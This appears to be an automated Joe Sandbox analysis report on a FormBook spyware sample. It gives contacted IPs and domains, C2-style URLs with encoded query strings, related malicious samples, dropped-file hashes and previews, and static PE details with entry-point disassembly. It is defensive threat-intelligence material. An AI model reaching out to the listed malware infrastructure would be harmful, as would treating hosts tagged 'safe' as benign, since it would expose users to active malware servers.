                                                                          https://www.hover.com/domains/resultsrasdial.exe, 00000005.00000002.3817062205.0000000008000000.00000004.00000800.00020000.00000000.sdmp, rasdial.exe, 00000005.00000002.3814707564.0000000006E6C000.00000004.10000000.00040000.00000000.sdmp, EDoVdgyZMIcTRp.exe, 00000006.00000002.3814299965.00000000049AC000.00000004.00000001.00040000.00000000.sdmpfalse
                                                                            		high
                                                                            https://www.hover.com/tos?source=parkedrasdial.exe, 00000005.00000002.3817062205.0000000008000000.00000004.00000800.00020000.00000000.sdmp, rasdial.exe, 00000005.00000002.3814707564.0000000006E6C000.00000004.10000000.00040000.00000000.sdmp, EDoVdgyZMIcTRp.exe, 00000006.00000002.3814299965.00000000049AC000.00000004.00000001.00040000.00000000.sdmpfalse
                                                                            • Avira URL Cloud: safe
                                                                            		unknown
                                                                            http://www.rtpwslot888gol.sbsEDoVdgyZMIcTRp.exe, 00000006.00000002.3813749544.0000000002F82000.00000040.80000000.00040000.00000000.sdmpfalse
                                                                            • Avira URL Cloud: safe
                                                                            		unknown
                                                                            https://www.hostgator.com.brrasdial.exe, 00000005.00000002.3814707564.0000000006B48000.00000004.10000000.00040000.00000000.sdmp, EDoVdgyZMIcTRp.exe, 00000006.00000002.3814299965.0000000004688000.00000004.00000001.00040000.00000000.sdmpfalse
                                                                              		high
                                                                              https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/searchrasdial.exe, 00000005.00000002.3817175821.00000000082DE000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                		high
                                                                                https://cdnjs.cloudflare.com/ajax/libs/normalize/5.0.0/normalize.min.cssrasdial.exe, 00000005.00000002.3814707564.0000000006692000.00000004.10000000.00040000.00000000.sdmp, EDoVdgyZMIcTRp.exe, 00000006.00000002.3814299965.00000000041D2000.00000004.00000001.00040000.00000000.sdmpfalse
                                                                                  		high
                                                                                  https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=rasdial.exe, 00000005.00000002.3817175821.00000000082DE000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                    		high
                                                                                    https://www.hover.com/tools?source=parkedrasdial.exe, 00000005.00000002.3817062205.0000000008000000.00000004.00000800.00020000.00000000.sdmp, rasdial.exe, 00000005.00000002.3814707564.0000000006E6C000.00000004.10000000.00040000.00000000.sdmp, EDoVdgyZMIcTRp.exe, 00000006.00000002.3814299965.00000000049AC000.00000004.00000001.00040000.00000000.sdmpfalse
                                                                                    • Avira URL Cloud: safe
                                                                                    		unknown
                                                                                    https://help.hover.com/home?source=parkedrasdial.exe, 00000005.00000002.3817062205.0000000008000000.00000004.00000800.00020000.00000000.sdmp, rasdial.exe, 00000005.00000002.3814707564.0000000006E6C000.00000004.10000000.00040000.00000000.sdmp, EDoVdgyZMIcTRp.exe, 00000006.00000002.3814299965.00000000049AC000.00000004.00000001.00040000.00000000.sdmpfalse
                                                                                    • Avira URL Cloud: safe
                                                                                    		unknown
                                                                                    https://www.hover.com/?source=parkedEDoVdgyZMIcTRp.exe, 00000006.00000002.3814299965.00000000049AC000.00000004.00000001.00040000.00000000.sdmpfalse
                                                                                    • Avira URL Cloud: safe
                                                                                    		unknown

                                                                                    World Map of Contacted IPs

                                                                                    • No. of IPs < 25%
                                                                                    • 25% < No. of IPs < 50%
                                                                                    • 50% < No. of IPs < 75%
                                                                                    • 75% < No. of IPs

                                                                                    Public IPs

                                                                                    IPDomainCountryFlagASNASN NameMalicious
                                                                                    130.185.109.77
                                                                                    		www.lgdiamonds.infoGermany
                                                                                    		51191XIRRADEfalse
                                                                                    203.161.42.73
                                                                                    		www.trendave.xyzMalaysia
                                                                                    		45899VNPT-AS-VNVNPTCorpVNtrue
                                                                                    104.21.34.103
                                                                                    		www.rafconstrutora.onlineUnited States
                                                                                    		13335CLOUDFLARENETUSfalse
                                                                                    23.167.152.41
                                                                                    		gtml.huksa.huhusddfnsuegcdn.comReserved
                                                                                    		395774ESVC-ASNUSfalse
                                                                                    108.181.189.7
                                                                                    		jalan2.onlineCanada
                                                                                    		852ASN852CAfalse
                                                                                    199.59.243.227
                                                                                    		www.bcg.servicesUnited States
                                                                                    		395082BODIS-NJUSfalse
                                                                                    81.2.196.19
                                                                                    		rysanekbeton.cloudCzech Republic
                                                                                    		24806INTERNET-CZKtis238403KtisCZfalse
                                                                                    38.47.232.202
                                                                                    		43kdd.topUnited States
                                                                                    		174COGENT-174USfalse
                                                                                    172.67.178.248
                                                                                    		www.rtpwslot888gol.sbsUnited States
                                                                                    		13335CLOUDFLARENETUSfalse
                                                                                    161.97.168.245
                                                                                    		www.nb-shenshi.buzzUnited States
                                                                                    		51167CONTABODEfalse
                                                                                    206.238.89.119
                                                                                    		www.127358.winUnited States
                                                                                    		174COGENT-174USfalse
                                                                                    216.40.34.41
                                                                                    		www.prototype.gardenCanada
                                                                                    		15348TUCOWSCAfalse

                                                                                    General Information

                                                                                    Joe Sandbox version:41.0.0 Charoite
                                                                                    Analysis ID:1569367
                                                                                    Start date and time:2024-12-05 18:20:12 +01:00
                                                                                    Joe Sandbox product:CloudBasic
                                                                                    Overall analysis duration:0h 10m 47s
                                                                                    Hypervisor based Inspection enabled:false
                                                                                    Report type:full
                                                                                    Cookbook file name:default.jbs
                                                                                    Analysis system description:Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
                                                                                    Number of analysed new started processes analysed:12
                                                                                    Number of new started drivers analysed:0
                                                                                    Number of existing processes analysed:0
                                                                                    Number of existing drivers analysed:0
                                                                                    Number of injected processes analysed:2
                                                                                    Technologies:
                                                                                    • HCA enabled
                                                                                    • EGA enabled
                                                                                    • AMSI enabled
                                                                                    Analysis Mode:default
                                                                                    Analysis stop reason:Timeout
                                                                                    Sample name:lgkWBwqY15.exe
                                                                                    renamed because original name is a hash value
                                                                                    Original Sample Name:f7104e580411fc3c981f8212806485b6c44313ad24efbf0b7caa322a5f3e71bc.exe
                                                                                    Detection:MAL
                                                                                    Classification:mal100.troj.spyw.evad.winEXE@7/3@19/12
                                                                                    EGA Information:
                                                                                    • Successful, ratio: 75%
                                                                                    HCA Information:
                                                                                    • Successful, ratio: 91%
                                                                                    • Number of executed functions: 48
                                                                                    • Number of non-executed functions: 296
                                                                                    Cookbook Comments:
                                                                                    • Found application associated with file extension: .exe
                                                                                    • Override analysis time to 240000 for current running targets taking high CPU consumption

                                                                                    Warnings

                                                                                    • Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WMIADAP.exe, SIHClient.exe, conhost.exe, backgroundTaskHost.exe
                                                                                    • Excluded domains from analysis (whitelisted): otelrules.azureedge.net, slscr.update.microsoft.com, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
                                                                                    • Not all processes where analyzed, report is missing behavior information
                                                                                    • Report creation exceeded maximum time and may have missing disassembly code information.
                                                                                    • Report size exceeded maximum capacity and may have missing disassembly code.
                                                                                    • Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
                                                                                    • VT rate limit hit for: lgkWBwqY15.exe

                                                                                    Simulations

                                                                                    Behavior and APIs

                                                                                    TimeTypeDescription
                                                                                    12:22:20API Interceptor9933195x Sleep call for process: rasdial.exe modified

                                                                                    Joe Sandbox View / Context

                                                                                    IPs

                                                                                    MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                                                                                    130.185.109.77New quotation request.exeGet hashmaliciousFormBookBrowse
                                                                                    • www.lgdiamonds.info/cv1w/
                                                                                    New Order.exeGet hashmaliciousFormBookBrowse
                                                                                    • www.lgdiamonds.info/q2b2/
                                                                                    need quotations.exeGet hashmaliciousFormBookBrowse
                                                                                    • www.lgdiamonds.info/cv1w/
                                                                                    MaMsKRmgXZ.exeGet hashmaliciousFormBook, GuLoaderBrowse
                                                                                    • www.holzleisten24.shop/ro12/?pR-=YvLwEHT7dF3wqOWcBoJhBcwDYJ3uuNfwUzugM5jE2WtwH9yjz4WpnbfVNhN3mQxE4RMu&Wx=ChSLGhh0Mn9TylKP
                                                                                    Product24573.exeGet hashmaliciousFormBookBrowse
                                                                                    • www.berlinhealthweek.com/bpg5/?ti-8=LyKdFPBKAe5W&5eb6=MtyGvtjXetI/I8tDbK2owBF5n98UCX/xugphV/8mPC2YbHujdbNXelvuFR4JIdJe4QTgQSn6m54tdOdmKx2lgAvEQCI5kWwTVA==
                                                                                    Siirtokuitti_006703.exeGet hashmaliciousFormBook, GuLoaderBrowse
                                                                                    • www.printmyride.store/tchg/?O0qEM=QQ6dpIpAk027UR3BL5U7sG0DxH6sKQa5YnzY0agrXpda3w5URJfAhsqjtJqbY2/M8fhrkTh6mIV7dbZQ8z6SYrdm6JILdk9Mfg==&CF1Ki=UnDuQcdCFs1MNsvY
                                                                                    P5348574_74676.exeGet hashmaliciousFormBookBrowse
                                                                                    • www.berlinhealthweek.com/bpg5/?lpw7=MtyGvtjXetI/I8tDbK2owBF5n98UCX/xugphV/8mPC2YbHujdbNXelvuFR4JIdJe4QTgQSn6m54tdOdmKx2lgF7dehg5lWobVA==&UZCu=zJfEuRXw-P
                                                                                    535276_86376.exeGet hashmaliciousFormBookBrowse
                                                                                    • www.berlinhealthweek.com/bpg5/?yDcF=MtyGvtjXetI/I8tDbK2owBF5n98UCX/xugphV/8mPC2YbHujdbNXelvuFR4JIdJe4QTgQSn6m54tdOdmKx2k5SHNZX0bjzo+VQ==&jdd=UX4BZm
                                                                                    Product_List.exeGet hashmaliciousFormBookBrowse
                                                                                    • www.berlinhealthweek.com/bpg5/?JBfKk=_uLb4J-vJhW8&8mBWmPn=MtyGvtjXetI/I8tDbK2owBF5n98UCX/xugphV/8mPC2YbHujdbNXelvuFR4JIdJe4QTgQSn6m54tdOdmKx2lgF7dehg5lWobVA==
                                                                                    PS_231.exeGet hashmaliciousFormBookBrowse
                                                                                    • www.berlinhealthweek.com/bpg5/?kyx=IT_WJ&HqE8Cy=MtyGvtjXetI/I8tDbK2owBF5n98UCX/xugphV/8mPC2YbHujdbNXelvuFR4JIdJe4QTgQSn6m54tdOdmKx2lgAvEQCI5kWwTVA==
                                                                                    203.161.42.73New quotation request.exeGet hashmaliciousFormBookBrowse
                                                                                    • www.trendave.xyz/nhcb/
                                                                                    YH-3-12-2024-GDL Units - Projects.exeGet hashmaliciousFormBookBrowse
                                                                                    • www.brightvision.website/gn26/
                                                                                    BASF Hung#U00e1ria Kft.exeGet hashmaliciousFormBookBrowse
                                                                                    • www.brightvision.website/gn26/
                                                                                    Thermo Fisher Scientific - Aj#U00e1nlatk#U00e9r#U00e9s.exeGet hashmaliciousFormBookBrowse
                                                                                    • www.brightvision.website/gn26/
                                                                                    need quotations.exeGet hashmaliciousFormBookBrowse
                                                                                    • www.trendave.xyz/nhcb/
                                                                                    PDF PURCHASE INQUIRY PDF.exeGet hashmaliciousFormBookBrowse
                                                                                    • www.nexio.life/xsla/
                                                                                    MV ALIADO-S-REQ-19-000640.exeGet hashmaliciousFormBookBrowse
                                                                                    • www.nexio.life/xsla/
                                                                                    doc330391202408011.exeGet hashmaliciousFormBookBrowse
                                                                                    • www.vynix.xyz/bgqc/
                                                                                    yyyyyyyy.exeGet hashmaliciousFormBookBrowse
                                                                                    • www.wyrlo.live/d98v/?EN-hu=LYDXGQwVCoMuYrXSW7MgSssXW4nPW6/lB4t/975EIYDnNxIunPhAyQV+sFLwFKE3iI1OoyaerizxnpL4k+hV3wpy9h6iImSBX/Gothd1bsBJyDzWSA==&zx=TzUh
                                                                                    MV ALIADO - S-REQ-19-00064 List items.exeGet hashmaliciousFormBookBrowse
                                                                                    • www.nexio.life/xsla/

                                                                                    Domains

                                                                                    MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                                                                                    www.rtpwslot888gol.sbsneed quotations.exeGet hashmaliciousFormBookBrowse
                                                                                    • 188.114.96.3
                                                                                    Item-RQF-9456786.exeGet hashmaliciousUnknownBrowse
                                                                                    • 188.114.96.3
                                                                                    natroredirect.natrocdn.comSRT68.exeGet hashmaliciousFormBookBrowse
                                                                                    • 85.159.66.93
                                                                                    ek8LkB2Cgo.exeGet hashmaliciousFormBookBrowse
                                                                                    • 85.159.66.93
                                                                                    PO 4110007694.exeGet hashmaliciousFormBookBrowse
                                                                                    • 85.159.66.93
                                                                                    Latest advice payment.exeGet hashmaliciousFormBookBrowse
                                                                                    • 85.159.66.93
                                                                                    New Order.exeGet hashmaliciousFormBookBrowse
                                                                                    • 85.159.66.93
                                                                                    specification and drawing.exeGet hashmaliciousFormBook, PureLog StealerBrowse
                                                                                    • 85.159.66.93
                                                                                    CCE 30411252024.exeGet hashmaliciousFormBookBrowse
                                                                                    • 85.159.66.93
                                                                                    OUTSTANDING BALANCE PAYMENT.exeGet hashmaliciousFormBookBrowse
                                                                                    • 85.159.66.93
                                                                                    TNT Express Delivery Consignment AWD 87993766479.vbsGet hashmaliciousFormBookBrowse
                                                                                    • 85.159.66.93
                                                                                    OUTSTANDING BALANCE PAYMENT.exeGet hashmaliciousFormBookBrowse
                                                                                    • 85.159.66.93
                                                                                    www.bcg.servicesNew quotation request.exeGet hashmaliciousFormBookBrowse
                                                                                    • 199.59.243.227
                                                                                    CV_ Filipa Barbosa.exeGet hashmaliciousFormBookBrowse
                                                                                    • 199.59.243.227
                                                                                    DOC_114542366.vbeGet hashmaliciousFormBookBrowse
                                                                                    • 199.59.243.227
                                                                                    CV_ Filipa Barbosa.exeGet hashmaliciousFormBookBrowse
                                                                                    • 199.59.243.227
                                                                                    need quotations.exeGet hashmaliciousFormBookBrowse
                                                                                    • 199.59.243.227
                                                                                    PO-DC13112024_pdf.vbsGet hashmaliciousUnknownBrowse
                                                                                    • 199.59.243.227
                                                                                    www.trendave.xyzNew quotation request.exeGet hashmaliciousFormBookBrowse
                                                                                    • 203.161.42.73
                                                                                    need quotations.exeGet hashmaliciousFormBookBrowse
                                                                                    • 203.161.42.73
                                                                                    www.rafconstrutora.onlineNew quotation request.exeGet hashmaliciousFormBookBrowse
                                                                                    • 104.21.34.103
                                                                                    PO 4110007694.exeGet hashmaliciousFormBookBrowse
                                                                                    • 104.21.34.103
                                                                                    attached invoice.exeGet hashmaliciousFormBookBrowse
                                                                                    • 172.67.159.24
                                                                                    OUTSTANDING BALANCE PAYMENT.exeGet hashmaliciousFormBookBrowse
                                                                                    • 104.21.34.103
                                                                                    DOC_114542366.vbeGet hashmaliciousFormBookBrowse
                                                                                    • 172.67.159.24
                                                                                    need quotations.exeGet hashmaliciousFormBookBrowse
                                                                                    • 188.114.96.3
                                                                                    www.lgdiamonds.infoNew quotation request.exeGet hashmaliciousFormBookBrowse
                                                                                    • 130.185.109.77
                                                                                    New Order.exeGet hashmaliciousFormBookBrowse
                                                                                    • 130.185.109.77
                                                                                    need quotations.exeGet hashmaliciousFormBookBrowse
                                                                                    • 130.185.109.77

                                                                                    ASNs

                                                                                    MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                                                                                    CLOUDFLARENETUShttps___files.catbox.moe_l2rczc.pif.exeGet hashmaliciousUnknownBrowse
                                                                                    • 162.159.135.232
                                                                                    NIsNyN2CTq.exeGet hashmaliciousGuLoader, Snake KeyloggerBrowse
                                                                                    • 172.67.177.134
                                                                                    H61PaEPFJC.exeGet hashmaliciousMassLogger RATBrowse
                                                                                    • 104.21.67.152
                                                                                    FW Microsoft account unusual sign-in activity.msgGet hashmaliciousUnknownBrowse
                                                                                    • 104.18.11.207
                                                                                    PaVWrYb4F2.exeGet hashmaliciousSnake Keylogger, VIP KeyloggerBrowse
                                                                                    • 104.21.67.152
                                                                                    EI0WLvSYFS.exeGet hashmaliciousLummaC StealerBrowse
                                                                                    • 172.67.160.80
                                                                                    2xVbI4Oc7A.exeGet hashmaliciousSnake Keylogger, VIP KeyloggerBrowse
                                                                                    • 104.21.67.152
                                                                                    file.exeGet hashmaliciousLummaC StealerBrowse
                                                                                    • 104.21.16.9
                                                                                    EROgfpPcsL.exeGet hashmaliciousSnake KeyloggerBrowse
                                                                                    • 104.21.67.152
                                                                                    lC7L7oBBMC.exeGet hashmaliciousAgentTeslaBrowse
                                                                                    • 104.26.13.205
                                                                                    XIRRADENew quotation request.exeGet hashmaliciousFormBookBrowse
                                                                                    • 130.185.109.77
                                                                                    New Order.exeGet hashmaliciousFormBookBrowse
                                                                                    • 130.185.109.77
                                                                                    need quotations.exeGet hashmaliciousFormBookBrowse
                                                                                    • 130.185.109.77
                                                                                    file.exeGet hashmaliciousSystemBCBrowse
                                                                                    • 185.169.24.192
                                                                                    Zam#U00f3wienie Z2300056_pdf .scr.exeGet hashmaliciousAgentTesla, PureLog StealerBrowse
                                                                                    • 185.169.24.118
                                                                                    New order -24900242 OP_pdf .exeGet hashmaliciousAgentTesla, PureLog StealerBrowse
                                                                                    • 185.169.24.118
                                                                                    vAZYIEQMP8.elfGet hashmaliciousMirai, MoobotBrowse
                                                                                    • 195.138.242.157
                                                                                    MaMsKRmgXZ.exeGet hashmaliciousFormBook, GuLoaderBrowse
                                                                                    • 130.185.109.77
                                                                                    Product24573.exeGet hashmaliciousFormBookBrowse
                                                                                    • 130.185.109.77
                                                                                    Siirtokuitti_006703.exeGet hashmaliciousFormBook, GuLoaderBrowse
                                                                                    • 130.185.109.77
                                                                                    VNPT-AS-VNVNPTCorpVNhttps://app.peony.ink/view/902b02a8-11f0-4e28-89b1-5318035c10ebGet hashmaliciousEvilProxy, HTMLPhisherBrowse
                                                                                    • 203.161.63.125
                                                                                    New quotation request.exeGet hashmaliciousFormBookBrowse
                                                                                    • 203.161.42.73
                                                                                    x86_32.nn.elfGet hashmaliciousMirai, OkiruBrowse
                                                                                    • 14.234.225.230
                                                                                    sparc.nn.elfGet hashmaliciousMirai, OkiruBrowse
                                                                                    • 14.170.3.101
                                                                                    sora.m68k.elfGet hashmaliciousMiraiBrowse
                                                                                    • 14.253.31.193
                                                                                    armv7l.elfGet hashmaliciousGafgyt, MiraiBrowse
                                                                                    • 113.169.255.117
                                                                                    sh4.elfGet hashmaliciousGafgyt, MiraiBrowse
                                                                                    • 14.189.244.120
                                                                                    Invoice 10493.exeGet hashmaliciousFormBookBrowse
                                                                                    • 202.92.5.23
                                                                                    ek8LkB2Cgo.exeGet hashmaliciousFormBookBrowse
                                                                                    • 203.161.43.228
                                                                                    nfkciRoR4j.exeGet hashmaliciousXmrigBrowse
                                                                                    • 203.161.45.11
                                                                                    ESVC-ASNUSNew quotation request.exeGet hashmaliciousFormBookBrowse
                                                                                    • 23.167.152.41
                                                                                    A2028041200SD.exeGet hashmaliciousFormBookBrowse
                                                                                    • 23.167.152.41
                                                                                    Payment-251124.exeGet hashmaliciousFormBookBrowse
                                                                                    • 23.167.152.41
                                                                                    A2028041200SD.exeGet hashmaliciousFormBookBrowse
                                                                                    • 23.167.152.41
                                                                                    need quotations.exeGet hashmaliciousFormBookBrowse
                                                                                    • 23.167.152.41
                                                                                    FSd2UlLC6H.elfGet hashmaliciousUnknownBrowse
                                                                                    • 23.167.178.53
                                                                                    1YhXFyiSni.dllGet hashmaliciousWannacryBrowse
                                                                                    • 23.167.182.84

                                                                                    JA3 Fingerprints

                                                                                    ⊘No context

                                                                                    Dropped Files

                                                                                    ⊘No context

                                                                                    Created / dropped Files

                                                                                    C:\Users\user\AppData\Local\Temp\a155F05G

                                                                                    Download File
                                                                                    Process:C:\Windows\SysWOW64\rasdial.exe
                                                                                    File Type:SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 7, database pages 89, cookie 0x36, schema 4, UTF-8, version-valid-for 7
                                                                                    Category:dropped
                                                                                    Size (bytes):196608
                                                                                    Entropy (8bit):1.1209935793793442
                                                                                    Encrypted:false
                                                                                    SSDEEP:192:r2qAdB9TbTbuDDsnxCkvSAE+WslKOMq+8lZqhAj3NniAGl:r2qOB1nxCkvSAELyKOMq+8lMAjdnG
                                                                                    MD5:214CFA91B0A6939C4606C4F99C9183B3
                                                                                    SHA1:A36951EB26E00F95BFD44C0851827A032EAFD91A
                                                                                    SHA-256:660DE0DCC188B3C35F8693DA4FE3EABD70D55A3AA32B7FDD6353FDBF04F702D7
                                                                                    SHA-512:E2FA64C41FBE5C576C0D79C6A5DEF0EC0A49BB2D0D862223E761429374294332A5A218E03C78A0D9924695D84B10DC96BCFE7DA0C9972988D33AE7868B107789
                                                                                    Malicious:false
                                                                                    Reputation:moderate, very likely benign file
                                                                                    Preview:SQLite format 3......@ .......Y...........6......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                    C:\Users\user\AppData\Local\Temp\autAD54.tmp

                                                                                    Download File
                                                                                    Process:C:\Users\user\Desktop\lgkWBwqY15.exe
                                                                                    File Type:data
                                                                                    Category:dropped
                                                                                    Size (bytes):288256
                                                                                    Entropy (8bit):7.9920643015259545
                                                                                    Encrypted:true
                                                                                    SSDEEP:6144:8op1GJT+oii9WRy9T9dwjLVKBCW7gqNVkyB+rR:8uK9gy0ABC0gScR
                                                                                    MD5:EF5AF1B138B7256E76347C0E04DCD1E8
                                                                                    SHA1:7180791A184DFFE73AF95421FEFBA73A2733EE8D
                                                                                    SHA-256:6D1E221438FC65F779D7729AC3B24D511CDF3EA3C89E370CB3608B0DC2022ED1
                                                                                    SHA-512:8846C3ECC4CE3512FDA2594DBFD02F977DBE390D84FE9565E4926CC6F6759146E35A05F325A9B6579FED44132B0A2F8B150C373625D65CFCD3B8DE1BB3600C8D
                                                                                    Malicious:false
                                                                                    Reputation:low
                                                                                    Preview:.h.8;AS4QIO2..8A.4UIO208xAS4UIO2088AS4UIO2088AS4UIO2088AS4UI.2086^.:U.F...9....!&A.HJ.4F4$oQQVV.'.7,o@EV.(=.....]W\$}9XCk2088AS4,HF..X_.nT2.rRW."...o)(.*...oT2.U....!4.. ,Z.X_.S4UIO208h.S4.HN2..'.S4UIO208.AQ5^HD20l<AS4UIO208XUS4UYO20H<AS4.IO"088CS4SIO2088AU4UIO20881W4UKO2088AQ4..O2 88QS4UI_20(8AS4UI_2088AS4UIO2088AS4UIO2088AS4UIO2088AS4UIO2088AS4UIO2088AS4UIO2088AS4UIO2088AS4UIO2088AS4UIO2088AS4UIO2088AS4UIO2088AS4UIO2088AS4UIO2.L]9'4UIKa488QS4U.K20(8AS4UIO2088AS4uIOR088AS4UIO2088AS4UIO2088AS4UIO2088AS4UIO2088AS4UIO2088AS4UIO2088AS4UIO2088AS4UIO2088AS4UIO2088AS4UIO2088AS4UIO2088AS4UIO2088AS4UIO2088AS4UIO2088AS4UIO2088AS4UIO2088AS4UIO2088AS4UIO2088AS4UIO2088AS4UIO2088AS4UIO2088AS4UIO2088AS4UIO2088AS4UIO2088AS4UIO2088AS4UIO2088AS4UIO2088AS4UIO2088AS4UIO2088AS4UIO2088AS4UIO2088AS4UIO2088AS4UIO2088AS4UIO2088AS4UIO2088AS4UIO2088AS4UIO2088AS4UIO2088AS4UIO2088AS4UIO2088AS4UIO2088AS4UIO2088AS4UIO2088AS4UIO2088AS4UIO2088AS4UIO2088AS4UIO2088AS4UIO2088AS4UIO2088AS4UIO2088AS4UIO2088AS4UIO2088AS4UI

                                                                                    C:\Users\user\AppData\Local\Temp\myriopodous

                                                                                    Download File
                                                                                    Process:C:\Users\user\Desktop\lgkWBwqY15.exe
                                                                                    File Type:data
                                                                                    Category:dropped
                                                                                    Size (bytes):288256
                                                                                    Entropy (8bit):7.9920643015259545
                                                                                    Encrypted:true
                                                                                    SSDEEP:6144:8op1GJT+oii9WRy9T9dwjLVKBCW7gqNVkyB+rR:8uK9gy0ABC0gScR
                                                                                    MD5:EF5AF1B138B7256E76347C0E04DCD1E8
                                                                                    SHA1:7180791A184DFFE73AF95421FEFBA73A2733EE8D
                                                                                    SHA-256:6D1E221438FC65F779D7729AC3B24D511CDF3EA3C89E370CB3608B0DC2022ED1
                                                                                    SHA-512:8846C3ECC4CE3512FDA2594DBFD02F977DBE390D84FE9565E4926CC6F6759146E35A05F325A9B6579FED44132B0A2F8B150C373625D65CFCD3B8DE1BB3600C8D
                                                                                    Malicious:false
                                                                                    Reputation:low
                                                                                    Preview:.h.8;AS4QIO2..8A.4UIO208xAS4UIO2088AS4UIO2088AS4UIO2088AS4UI.2086^.:U.F...9....!&A.HJ.4F4$oQQVV.'.7,o@EV.(=.....]W\$}9XCk2088AS4,HF..X_.nT2.rRW."...o)(.*...oT2.U....!4.. ,Z.X_.S4UIO208h.S4.HN2..'.S4UIO208.AQ5^HD20l<AS4UIO208XUS4UYO20H<AS4.IO"088CS4SIO2088AU4UIO20881W4UKO2088AQ4..O2 88QS4UI_20(8AS4UI_2088AS4UIO2088AS4UIO2088AS4UIO2088AS4UIO2088AS4UIO2088AS4UIO2088AS4UIO2088AS4UIO2088AS4UIO2088AS4UIO2088AS4UIO2088AS4UIO2088AS4UIO2.L]9'4UIKa488QS4U.K20(8AS4UIO2088AS4uIOR088AS4UIO2088AS4UIO2088AS4UIO2088AS4UIO2088AS4UIO2088AS4UIO2088AS4UIO2088AS4UIO2088AS4UIO2088AS4UIO2088AS4UIO2088AS4UIO2088AS4UIO2088AS4UIO2088AS4UIO2088AS4UIO2088AS4UIO2088AS4UIO2088AS4UIO2088AS4UIO2088AS4UIO2088AS4UIO2088AS4UIO2088AS4UIO2088AS4UIO2088AS4UIO2088AS4UIO2088AS4UIO2088AS4UIO2088AS4UIO2088AS4UIO2088AS4UIO2088AS4UIO2088AS4UIO2088AS4UIO2088AS4UIO2088AS4UIO2088AS4UIO2088AS4UIO2088AS4UIO2088AS4UIO2088AS4UIO2088AS4UIO2088AS4UIO2088AS4UIO2088AS4UIO2088AS4UIO2088AS4UIO2088AS4UIO2088AS4UIO2088AS4UIO2088AS4UIO2088AS4UI

                                                                                    Static File Info

                                                                                    General

                                                                                    File type:PE32 executable (GUI) Intel 80386, for MS Windows
                                                                                    Entropy (8bit):7.161665807316742
                                                                                    TrID:
                                                                                    • Win32 Executable (generic) a (10002005/4) 99.96%
                                                                                    • Generic Win/DOS Executable (2004/3) 0.02%
                                                                                    • DOS Executable Generic (2002/1) 0.02%
                                                                                    • Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
                                                                                    File name:lgkWBwqY15.exe
                                                                                    File size:1'228'288 bytes
                                                                                    MD5:18cc815cd549e5fb63b97d76424c3543
                                                                                    SHA1:1be292a87e26cd533252cef46a9272d9178f720c
                                                                                    SHA256:f7104e580411fc3c981f8212806485b6c44313ad24efbf0b7caa322a5f3e71bc
                                                                                    SHA512:f66de1274708742c6f4d001e1145b64bac7259c3e7a4c29eca799104fbc80982252d6fb0d148b603876487b5cc8340c600d553045069272b90bb0422e0d55844
                                                                                    SSDEEP:24576:Dtb20pkaCqT5TBWgNQ7atmFor1RZaJS4Z7wW6A:AVg5tQ7atgseSQ7n5
                                                                                    TLSH:9F45CF1363DE8364C7726273BA25B701AEBF7C2506B1F56B2FD8093DA920161521EB73
                                                                                    File Content Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........d..............'.a.....H.k.....H.h.....H.i......}%......}5...............~.......k.......o.......1.......j.....Rich...........

                                                                                    File Icon

                                                                                    Icon Hash:aaf3e3e3938382a0

                                                                                    Static PE Info

                                                                                    General

                                                                                    Entrypoint:0x425f74
                                                                                    Entrypoint Section:.text
                                                                                    Digitally signed:false
                                                                                    Imagebase:0x400000
                                                                                    Subsystem:windows gui
                                                                                    Image File Characteristics:EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE, 32BIT_MACHINE
                                                                                    DLL Characteristics:DYNAMIC_BASE, TERMINAL_SERVER_AWARE
                                                                                    Time Stamp:0x6747CF85 [Thu Nov 28 02:03:49 2024 UTC]
                                                                                    TLS Callbacks:
                                                                                    CLR (.Net) Version:
                                                                                    OS Version Major:5
                                                                                    OS Version Minor:1
                                                                                    File Version Major:5
                                                                                    File Version Minor:1
                                                                                    Subsystem Version Major:5
                                                                                    Subsystem Version Minor:1
                                                                                    Import Hash:3d95adbf13bbe79dc24dccb401c12091

                                                                                    Entrypoint Preview

                                                                                    Instruction
                                                                                    call 00007F33C8E8E17Fh
                                                                                    jmp 00007F33C8E81194h
                                                                                    int3
                                                                                    int3
                                                                                    push edi
                                                                                    push esi
                                                                                    mov esi, dword ptr [esp+10h]
                                                                                    mov ecx, dword ptr [esp+14h]
                                                                                    mov edi, dword ptr [esp+0Ch]
                                                                                    mov eax, ecx
                                                                                    mov edx, ecx
                                                                                    add eax, esi
                                                                                    cmp edi, esi
                                                                                    jbe 00007F33C8E8131Ah
                                                                                    cmp edi, eax
                                                                                    jc 00007F33C8E8167Eh
                                                                                    bt dword ptr [004C0158h], 01h
                                                                                    jnc 00007F33C8E81319h
                                                                                    rep movsb
                                                                                    jmp 00007F33C8E8162Ch
                                                                                    cmp ecx, 00000080h
                                                                                    jc 00007F33C8E814E4h
                                                                                    mov eax, edi
                                                                                    xor eax, esi
                                                                                    test eax, 0000000Fh
                                                                                    jne 00007F33C8E81320h
                                                                                    bt dword ptr [004BA370h], 01h
                                                                                    jc 00007F33C8E817F0h
                                                                                    bt dword ptr [004C0158h], 00000000h
                                                                                    jnc 00007F33C8E814BDh
                                                                                    test edi, 00000003h
                                                                                    jne 00007F33C8E814CEh
                                                                                    test esi, 00000003h
                                                                                    jne 00007F33C8E814ADh
                                                                                    bt edi, 02h
                                                                                    jnc 00007F33C8E8131Fh
                                                                                    mov eax, dword ptr [esi]
                                                                                    sub ecx, 04h
                                                                                    lea esi, dword ptr [esi+04h]
                                                                                    mov dword ptr [edi], eax
                                                                                    lea edi, dword ptr [edi+04h]
                                                                                    bt edi, 03h
